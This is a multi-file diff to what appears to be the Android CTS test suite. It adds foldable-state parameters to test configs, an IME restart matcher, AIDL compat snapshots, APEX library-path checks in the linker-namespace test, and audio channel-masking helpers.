+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -230,7 +230,7 @@
private static final int UI_MODE_TYPE_MASK = 0x0f;
private static final int UI_MODE_TYPE_VR_HEADSET = 0x07;
- private static final boolean ENABLE_SHELL_TRANSITIONS =
+ static final boolean ENABLE_SHELL_TRANSITIONS =
SystemProperties.getBoolean("persist.debug.shell_transit", false);
private static Boolean sHasHomeScreen = null;
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index aee589e..0227c3c 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -1543,6 +1543,7 @@
boolean visible;
boolean frontOfTask;
boolean inSizeCompatMode;
+ float minAspectRatio;
int procId = -1;
public boolean translucent;
private WindowContainer mParent;
@@ -1554,6 +1555,7 @@
visible = proto.visible;
frontOfTask = proto.frontOfTask;
inSizeCompatMode = proto.inSizeCompatMode;
+ minAspectRatio = proto.minAspectRatio;
if (proto.procId != 0) {
procId = proto.procId;
}
@@ -1589,6 +1591,10 @@
return inSizeCompatMode;
}
+ public float getMinAspectRatio() {
+ return minAspectRatio;
+ }
+
@Override
public Rect getBounds() {
if (mBounds == null) {
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
index 5f88d27..bf301d6 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
@@ -169,6 +169,25 @@
}
/**
+ * Checks if {@code eventName} has occurred on the EditText(or TextView) of the current
+ * activity mainly for onStartInput restarting check.
+ * @param eventName event name to check
+ * @param marker Test marker set to {@link android.widget.EditText#setPrivateImeOptions(String)}
+ * @return true if event occurred and restarting is false.
+ */
+ public static Predicate<ImeEvent> editorMatcherRestartingFalse(
+ @NonNull String eventName, @NonNull String marker) {
+ return event -> {
+ if (!TextUtils.equals(eventName, event.getEventName())) {
+ return false;
+ }
+ final EditorInfo editorInfo = event.getArguments().getParcelable("editorInfo");
+ final boolean restarting = event.getArguments().getBoolean("restarting");
+ return (TextUtils.equals(marker, editorInfo.privateImeOptions) && !restarting );
+ };
+ }
+
+ /**
* Checks if {@code eventName} has occurred on the EditText(or TextView) of the current
* activity.
* @param eventName event name to check
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
index 5c738e1..34d4443 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
@@ -25,6 +25,7 @@
import static android.widget.PopupWindow.INPUT_METHOD_NOT_NEEDED;
import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcherRestartingFalse;
import static com.android.cts.mockime.ImeEventStreamTestUtils.expectBindInput;
import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
@@ -159,7 +160,8 @@
assertFalse(stream.dump(), onStart.getArguments().getBoolean("restarting"));
// There shouldn't be onStartInput any more.
- notExpectEvent(stream, editorMatcher("onStartInput", marker), NOT_EXPECT_TIMEOUT);
+ notExpectEvent(stream, editorMatcherRestartingFalse("onStartInput", marker),
+ NOT_EXPECT_TIMEOUT);
}
}
diff --git a/tests/mocking/AndroidTest.xml b/tests/mocking/AndroidTest.xml
index 73759b0..de92326 100644
--- a/tests/mocking/AndroidTest.xml
+++ b/tests/mocking/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/mocking/debuggable/AndroidTest.xml b/tests/mocking/debuggable/AndroidTest.xml
index 95db765..33240ef 100644
--- a/tests/mocking/debuggable/AndroidTest.xml
+++ b/tests/mocking/debuggable/AndroidTest.xml
@@ -21,6 +21,7 @@
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/mocking/inline/AndroidTest.xml b/tests/mocking/inline/AndroidTest.xml
index 0c83c25..57f4ed3 100644
--- a/tests/mocking/inline/AndroidTest.xml
+++ b/tests/mocking/inline/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/rotationresolverservice/AndroidTest.xml b/tests/rotationresolverservice/AndroidTest.xml
index 0ea0dc2..b724408 100644
--- a/tests/rotationresolverservice/AndroidTest.xml
+++ b/tests/rotationresolverservice/AndroidTest.xml
@@ -21,6 +21,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsRotationResolverServiceDeviceTestCases.apk" />
@@ -28,4 +29,4 @@
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.rotationresolverservice.cts" />
</test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/suspendapps/permission/AndroidTest.xml b/tests/suspendapps/permission/AndroidTest.xml
index fb593aa..e17ccd8 100644
--- a/tests/suspendapps/permission/AndroidTest.xml
+++ b/tests/suspendapps/permission/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/suspendapps/tests/AndroidTest.xml b/tests/suspendapps/tests/AndroidTest.xml
index e74b7c9..3c17d95 100644
--- a/tests/suspendapps/tests/AndroidTest.xml
+++ b/tests/suspendapps/tests/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/appenumeration/AndroidTest.xml b/tests/tests/appenumeration/AndroidTest.xml
index 8bb21c0..d73484d 100644
--- a/tests/tests/appenumeration/AndroidTest.xml
+++ b/tests/tests/appenumeration/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<!-- Force service to be installed as non-instant mode, always -->
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
index 68b2d3f..efb2256 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
@@ -82,6 +82,7 @@
srcs: [":libbinder_ndk_compat_test_interface_srcs"],
versions: [
"1",
+ "2",
],
backend: {
java: {
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/.hash b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/.hash
new file mode 100644
index 0000000..210a064
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/.hash
@@ -0,0 +1 @@
+ef1ff59c491cbb79b3b7830aacde2c2bdc0bce3b
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/test_package/Baz.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/test_package/Baz.aidl
new file mode 100644
index 0000000..df9a795
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/test_package/Baz.aidl
@@ -0,0 +1,25 @@
+///////////////////////////////////////////////////////////////////////////////
+// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE. //
+///////////////////////////////////////////////////////////////////////////////
+
+// This file is a snapshot of an AIDL file. Do not edit it manually. There are
+// two cases:
+// 1). this is a frozen version file - do not edit this in any case.
+// 2). this is a 'current' file. If you make a backwards compatible change to
+// the interface (from the latest frozen version), the build system will
+// prompt you to update this file with `m <name>-update-api`.
+//
+// You must not make a backward incompatible change to any AIDL file built
+// with the aidl_interface module type with versions property set. The module
+// type is used to build AIDL files in a way that they can be used across
+// independently updatable components of the system. If a device is shipped
+// with such a backward incompatible change, it has a high risk of breaking
+// later when a module using the interface is updated, e.g., Mainline modules.
+
+package test_package;
+parcelable Baz {
+ String a = "FOO";
+ int b = 42;
+ float c = 3.140000f;
+ @nullable String[] d;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/test_package/ICompatTest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/test_package/ICompatTest.aidl
new file mode 100644
index 0000000..7d1ee02
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/test_package/ICompatTest.aidl
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+///////////////////////////////////////////////////////////////////////////////
+// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE. //
+///////////////////////////////////////////////////////////////////////////////
+
+// This file is a snapshot of an AIDL file. Do not edit it manually. There are
+// two cases:
+// 1). this is a frozen version file - do not edit this in any case.
+// 2). this is a 'current' file. If you make a backwards compatible change to
+// the interface (from the latest frozen version), the build system will
+// prompt you to update this file with `m <name>-update-api`.
+//
+// You must not make a backward incompatible change to any AIDL file built
+// with the aidl_interface module type with versions property set. The module
+// type is used to build AIDL files in a way that they can be used across
+// independently updatable components of the system. If a device is shipped
+// with such a backward incompatible change, it has a high risk of breaking
+// later when a module using the interface is updated, e.g., Mainline modules.
+
+package test_package;
+interface ICompatTest {
+ test_package.Baz repeatBaz(in test_package.Baz inBaz);
+ @nullable String RepeatStringNullableLater(@nullable String repeated);
+ int NewMethodThatReturns10();
+}
diff --git a/tests/tests/content/AndroidTest.xml b/tests/tests/content/AndroidTest.xml
index c03dd80..1b757e3 100644
--- a/tests/tests/content/AndroidTest.xml
+++ b/tests/tests/content/AndroidTest.xml
@@ -24,6 +24,8 @@
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="mkdir -p /data/local/tmp/cts/content" />
<option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
diff --git a/tests/tests/content/pm/SecureFrp/AndroidTest.xml b/tests/tests/content/pm/SecureFrp/AndroidTest.xml
index bd0ce82..a5e416d 100644
--- a/tests/tests/content/pm/SecureFrp/AndroidTest.xml
+++ b/tests/tests/content/pm/SecureFrp/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<!-- target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="mkdir -p /data/local/tmp/cts/pm" />
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
index d1a46b0..37a8f76 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
@@ -154,10 +154,17 @@
public void testAndroid12RequiresIncFsV2() throws Exception {
// IncFS is a kernel feature, which is a subject to vendor freeze. That's why
// the test verifies the vendor API level here, not the system's one.
- final boolean v2Required = PropertyUtil.isVendorApiLevelNewerThan(30);
+ // Note: vendor API level getter returns either the frozen API level, or the current one for
+ // non-vendor-freeze devices; need to verify both the system first API level and vendor
+ // level to make the final decision.
+ final boolean v2ReqdForSystem = PropertyUtil.getFirstApiLevel() > 30;
+ final boolean v2ReqdForVendor = PropertyUtil.isVendorApiLevelNewerThan(30);
+ final boolean v2Required = v2ReqdForSystem && v2ReqdForVendor;
if (v2Required) {
- Assert.assertTrue(getPackageManager().hasSystemFeature(
- PackageManager.FEATURE_INCREMENTAL_DELIVERY, 2));
+ Assert.assertTrue("Devices launched at API 31+ with a vendor partition of API 31+ need "
+ + "to support Incremental Delivery version 2 or higher",
+ getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_INCREMENTAL_DELIVERY, 2));
}
}
diff --git a/tests/tests/instantapp/AndroidTest.xml b/tests/tests/instantapp/AndroidTest.xml
index 7e03bce..4ce4d92 100644
--- a/tests/tests/instantapp/AndroidTest.xml
+++ b/tests/tests/instantapp/AndroidTest.xml
@@ -22,6 +22,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
index f2f2a85..157b3c0 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -49,16 +49,35 @@
#endif
static const std::string kSystemLibraryPath = "/system/" LIB_DIR;
-static const std::string kArtApexLibraryPath = "/apex/com.android.art/" LIB_DIR;
static const std::string kVendorLibraryPath = "/vendor/" LIB_DIR;
static const std::string kProductLibraryPath = "/product/" LIB_DIR;
+// APEX library paths to check for either presence or absence of public
+// libraries.
+static const std::vector<std::string> kApexLibraryPaths = {
+ "/apex/com.android.art/" LIB_DIR,
+ "/apex/com.android.i18n/" LIB_DIR,
+ "/apex/com.android.neuralnetworks/" LIB_DIR,
+ "/apex/com.android.runtime/" LIB_DIR,
+};
+
static const std::vector<std::regex> kSystemPathRegexes = {
std::regex("/system/lib(64)?"),
std::regex("/apex/com\\.android\\.[^/]*/lib(64)?"),
std::regex("/system/(lib/arm|lib64/arm64)"), // when CTS runs in ARM ABI on non-ARM CPU. http://b/149852946
};
+// Full paths to libraries in system or APEX search paths that are not public
+// but still may or may not be possible to load in an app.
+static const std::vector<std::string> kOtherLoadableLibrariesInSearchPaths = {
+ // This library may be loaded using DF_1_GLOBAL into the global group in
+ // app_process, which is necessary to make it override some symbols in libc in
+ // all DSO's. As a side effect it also gets inherited into the classloader
+ // namespaces constructed in libnativeloader, and is hence possible to dlopen
+ // even though there is no linker namespace link for it.
+ "/apex/com.android.art/" LIB_DIR "/libsigchain.so",
+};
+
static const std::string kWebViewPlatSupportLib = "libwebviewchromium_plat_support.so";
static bool is_directory(const char* path) {
@@ -171,6 +190,18 @@
return error;
}
+// Checks that a .so library can or cannot be loaded with dlopen() and
+// System.load(), as appropriate by the other settings:
+// - clazz: The java class instance of android.jni.cts.LinkerNamespacesHelper,
+// used for calling System.load() and System.loadLibrary().
+// - path: Full path to the library to load.
+// - library_search_paths: Directories that should be searched for public
+// libraries. They should not be loaded from a subdirectory of these.
+// - public_library_basenames: File names without paths of expected public
+// libraries.
+// - test_system_load_library: Try loading with System.loadLibrary() as well.
+// - check_absence: Raise an error if it is a non-public library but still is
+// loaded successfully from a searched directory.
static bool check_lib(JNIEnv* env,
jclass clazz,
const std::string& path,
@@ -220,7 +251,10 @@
// If the library loaded successfully but is in a subdirectory then it is
// still not public. That is the case e.g. for
// /apex/com.android.runtime/lib{,64}/bionic/lib*.so.
- if (loaded && is_in_search_path && check_absence) {
+ if (loaded && is_in_search_path && check_absence &&
+ (std::find(kOtherLoadableLibrariesInSearchPaths.begin(),
+ kOtherLoadableLibrariesInSearchPaths.end(), path) ==
+ kOtherLoadableLibrariesInSearchPaths.end())) {
errors->push_back("The library \"" + path + "\" is not a public library but it loaded.");
return false;
}
@@ -234,6 +268,7 @@
return true;
}
+// Calls check_lib for every file found recursively within library_path.
static bool check_path(JNIEnv* env,
jclass clazz,
const std::string& library_path,
@@ -279,8 +314,8 @@
static bool jobject_array_to_set(JNIEnv* env,
jobjectArray java_libraries_array,
std::unordered_set<std::string>* libraries,
- std::string* error_msg) {
- error_msg->clear();
+ std::string* error_msgs) {
+ error_msgs->clear();
size_t size = env->GetArrayLength(java_libraries_array);
bool success = true;
for (size_t i = 0; i<size; ++i) {
@@ -290,7 +325,7 @@
// Verify that the name doesn't contain any directory components.
if (soname.rfind('/') != std::string::npos) {
- *error_msg += "\n---Illegal value, no directories allowed: " + soname;
+ *error_msgs += "\n---Illegal value, no directories allowed: " + soname;
continue;
}
@@ -300,7 +335,7 @@
if (space_pos != std::string::npos) {
std::string type = soname.substr(space_pos + 1);
if (type != "32" && type != "64") {
- *error_msg += "\n---Illegal value at end of line (only 32 or 64 allowed): " + soname;
+ *error_msgs += "\n---Illegal value at end of line (only 32 or 64 allowed): " + soname;
success = false;
continue;
}
@@ -332,21 +367,21 @@
JNIEnv* env,
jclass clazz,
jobjectArray java_system_public_libraries,
- jobjectArray java_runtime_public_libraries) {
+ jobjectArray java_apex_public_libraries) {
bool success = true;
std::vector<std::string> errors;
- std::string error_msg;
+ std::string error_msgs;
std::unordered_set<std::string> system_public_libraries;
if (!jobject_array_to_set(env, java_system_public_libraries, &system_public_libraries,
- &error_msg)) {
+ &error_msgs)) {
success = false;
- errors.push_back("Errors in system public library file:" + error_msg);
+ errors.push_back("Errors in system public library list:" + error_msgs);
}
- std::unordered_set<std::string> runtime_public_libraries;
- if (!jobject_array_to_set(env, java_runtime_public_libraries, &runtime_public_libraries,
- &error_msg)) {
+ std::unordered_set<std::string> apex_public_libraries;
+ if (!jobject_array_to_set(env, java_apex_public_libraries, &apex_public_libraries,
+ &error_msgs)) {
success = false;
- errors.push_back("Errors in runtime public library file:" + error_msg);
+ errors.push_back("Errors in APEX public library list:" + error_msgs);
}
// Check the system libraries.
@@ -362,8 +397,8 @@
// /apex/com.android.*/lib*.
std::unordered_set<std::string> system_library_search_paths;
- for (const auto& path : library_search_paths) {
- for (const auto& regex : kSystemPathRegexes) {
+ for (const std::string& path : library_search_paths) {
+ for (const std::regex& regex : kSystemPathRegexes) {
if (std::regex_match(path, regex)) {
system_library_search_paths.insert(path);
break;
@@ -374,7 +409,7 @@
// These paths should be tested too - this is because apps may rely on some
// libraries being available there.
system_library_search_paths.insert(kSystemLibraryPath);
- system_library_search_paths.insert(kArtApexLibraryPath);
+ system_library_search_paths.insert(kApexLibraryPaths.begin(), kApexLibraryPaths.end());
if (!check_path(env, clazz, kSystemLibraryPath, system_library_search_paths,
system_public_libraries,
@@ -387,17 +422,19 @@
// don't complain about that in that case.
bool check_absence = !android::base::GetBoolProperty("ro.vndk.lite", false);
- // Check the runtime libraries.
- if (!check_path(env, clazz, kArtApexLibraryPath, {kArtApexLibraryPath},
- runtime_public_libraries,
- /*test_system_load_library=*/true,
- check_absence, &errors)) {
- success = false;
+ // Check the APEX libraries.
+ for (const std::string& apex_path : kApexLibraryPaths) {
+ if (!check_path(env, clazz, apex_path, {apex_path},
+ apex_public_libraries,
+ /*test_system_load_library=*/true,
+ check_absence, &errors)) {
+ success = false;
+ }
}
if (!success) {
std::string error_str;
- for (const auto& line : errors) {
+ for (const std::string& line : errors) {
error_str += line + '\n';
}
return env->NewStringUTF(error_str.c_str());
diff --git a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
index 796fbd8..1f4f351 100644
--- a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
+++ b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
@@ -63,7 +63,6 @@
"libmediandk.so",
"libm.so",
"libnativewindow.so",
- "libneuralnetworks.so",
"libOpenMAXAL.so",
"libOpenSLES.so",
"libRS.so",
@@ -78,12 +77,16 @@
"libclang_rt.hwasan-aarch64-android.so"
};
- // Libraries listed in public.libraries.android.txt, located in /apex/com.android.art/${LIB}
- private final static String[] PUBLIC_ART_LIBRARIES = {
+ // Libraries listed in public.libraries.android.txt that are located in APEXes
+ private final static String[] PUBLIC_APEX_LIBRARIES = {
+ // Libraries in /apex/com.android.i18n/${LIB}
+ "libicu.so",
"libicui18n.so",
"libicuuc.so",
+ // Libraries in /apex/com.android.art/${LIB}
"libnativehelper.so",
- "libsigchain.so"
+ // Libraries in /apex/com.android.neuralnetworks/${LIB}
+ "libneuralnetworks.so",
};
// The grey-list.
@@ -185,13 +188,13 @@
public static String runAccessibilityTest() throws IOException {
List<String> systemLibs = new ArrayList<>();
- List<String> artApexLibs = new ArrayList<>();
+ List<String> apexLibs = new ArrayList<>();
Collections.addAll(systemLibs, PUBLIC_SYSTEM_LIBRARIES);
Collections.addAll(systemLibs, OPTIONAL_SYSTEM_LIBRARIES);
- // System path could contain public ART libraries on foreign arch. http://b/149852946
+ // System path could contain public ART libraries on foreign arch. http://b/149852946
if (isForeignArchitecture()) {
- Collections.addAll(systemLibs, PUBLIC_ART_LIBRARIES);
+ Collections.addAll(systemLibs, PUBLIC_APEX_LIBRARIES);
}
if (InstrumentationRegistry.getContext().getPackageManager().
@@ -199,7 +202,7 @@
systemLibs.add(WEBVIEW_PLAT_SUPPORT_LIB);
}
- Collections.addAll(artApexLibs, PUBLIC_ART_LIBRARIES);
+ Collections.addAll(apexLibs, PUBLIC_APEX_LIBRARIES);
// Check if /system/etc/public.libraries-company.txt and /product/etc/public.libraries
// -company.txt files are well-formed. The libraries however are not loaded for test;
@@ -232,11 +235,11 @@
}
return runAccessibilityTestImpl(systemLibs.toArray(new String[systemLibs.size()]),
- artApexLibs.toArray(new String[artApexLibs.size()]));
+ apexLibs.toArray(new String[apexLibs.size()]));
}
private static native String runAccessibilityTestImpl(String[] publicSystemLibs,
- String[] publicRuntimeLibs);
+ String[] publicApexLibs);
private static void invokeIncrementGlobal(Class<?> clazz) throws Exception {
clazz.getMethod("incrementGlobal").invoke(null);
@@ -385,7 +388,7 @@
String error = null;
List<String> publicLibs = new ArrayList<>();
Collections.addAll(publicLibs, PUBLIC_SYSTEM_LIBRARIES);
- Collections.addAll(publicLibs, PUBLIC_ART_LIBRARIES);
+ Collections.addAll(publicLibs, PUBLIC_APEX_LIBRARIES);
for (String lib : publicLibs) {
String result = LinkerNamespacesHelper.tryDlopen(lib);
if (result != null) {
diff --git a/tests/tests/match_flags/AndroidTest.xml b/tests/tests/match_flags/AndroidTest.xml
index a5fadab..22cc54d 100644
--- a/tests/tests/match_flags/AndroidTest.xml
+++ b/tests/tests/match_flags/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/media/src/android/media/cts/AudioHelper.java b/tests/tests/media/src/android/media/cts/AudioHelper.java
index ccd317d..bfed250 100644
--- a/tests/tests/media/src/android/media/cts/AudioHelper.java
+++ b/tests/tests/media/src/android/media/cts/AudioHelper.java
@@ -98,6 +98,79 @@
}
/**
+ * Returns a consecutive bit mask starting from the 0th bit indicating which channels
+ * are active, used for maskArray below.
+ *
+ * @param channelMask the channel mask for audio data.
+ * @param validMask the valid channels to permit (should be a subset of channelMask) but
+ * not checked.
+ * @return an integer whose consecutive bits are set for the channels that are permitted.
+ */
+ private static int packMask(int channelMask, int validMask) {
+ final int channels = Integer.bitCount(channelMask);
+ if (channels == 0) {
+ throw new IllegalArgumentException("invalid channel mask " + channelMask);
+ }
+ int packMask = 0;
+ for (int i = 0; i < channels; ++i) {
+ final int lowbit = channelMask & -channelMask;
+ packMask |= (validMask & lowbit) != 0 ? (1 << i) : 0;
+ channelMask -= lowbit;
+ }
+ return packMask;
+ }
+
+ /**
+ * Zeroes out channels in an array of audio data for testing.
+ *
+ * @param array of audio data.
+ * @param channelMask representation for the audio data.
+ * @param validMask which channels are valid (other channels will be zeroed out). A subset
+ * of channelMask.
+ */
+ public static void maskArray(byte[] array, int channelMask, int validMask) {
+ final int packMask = packMask(channelMask, validMask);
+ final int channels = Integer.bitCount(channelMask);
+ int j = 0;
+ for (int i = 0; i < array.length; ++i) {
+ if ((packMask & (1 << j)) == 0) {
+ array[i] = 0;
+ }
+ if (++j >= channels) {
+ j = 0;
+ }
+ }
+ }
+
+ public static void maskArray(short[] array, int channelMask, int validMask) {
+ final int packMask = packMask(channelMask, validMask);
+ final int channels = Integer.bitCount(channelMask);
+ int j = 0;
+ for (int i = 0; i < array.length; ++i) {
+ if ((packMask & (1 << j)) == 0) {
+ array[i] = 0;
+ }
+ if (++j >= channels) {
+ j = 0;
+ }
+ }
+ }
+
+ public static void maskArray(float[] array, int channelMask, int validMask) {
+ final int packMask = packMask(channelMask, validMask);
+ final int channels = Integer.bitCount(channelMask);
+ int j = 0;
+ for (int i = 0; i < array.length; ++i) {
+ if ((packMask & (1 << j)) == 0) {
+ array[i] = 0;
+ }
+ if (++j >= channels) {
+ j = 0;
+ }
+ }
+ }
+
+ /**
* Create and fill a short array with complete sine waves so we can
* hear buffer underruns more easily.
*/
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 56df011..e51f010 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -770,11 +770,10 @@
// volume same
mAudioManager.setStreamVolume(stream, maxVolume, 0);
- for (int k = 0; k < maxVolume; k++) {
- mAudioManager.adjustStreamVolume(stream, ADJUST_SAME, 0);
- assertEquals("Vol ADJUST_RAISE onADJUST_SAME stream:" + stream,
- maxVolume, mAudioManager.getStreamVolume(stream));
- }
+ mAudioManager.adjustStreamVolume(stream, ADJUST_SAME, 0);
+ Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+ assertEquals("Vol ADJUST_RAISE onADJUST_SAME stream:" + stream,
+ maxVolume, mAudioManager.getStreamVolume(stream));
mAudioManager.setStreamVolume(stream, maxVolume, 0);
}
@@ -800,15 +799,15 @@
assertMusicActive(true);
// adjust volume as ADJUST_SAME
- for (int k = 0; k < maxMusicVolume; k++) {
- mAudioManager.adjustVolume(ADJUST_SAME, 0);
- assertStreamVolumeEquals(STREAM_MUSIC, maxMusicVolume);
- }
+ mAudioManager.adjustVolume(ADJUST_SAME, 0);
+ Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+ assertStreamVolumeEquals(STREAM_MUSIC, maxMusicVolume);
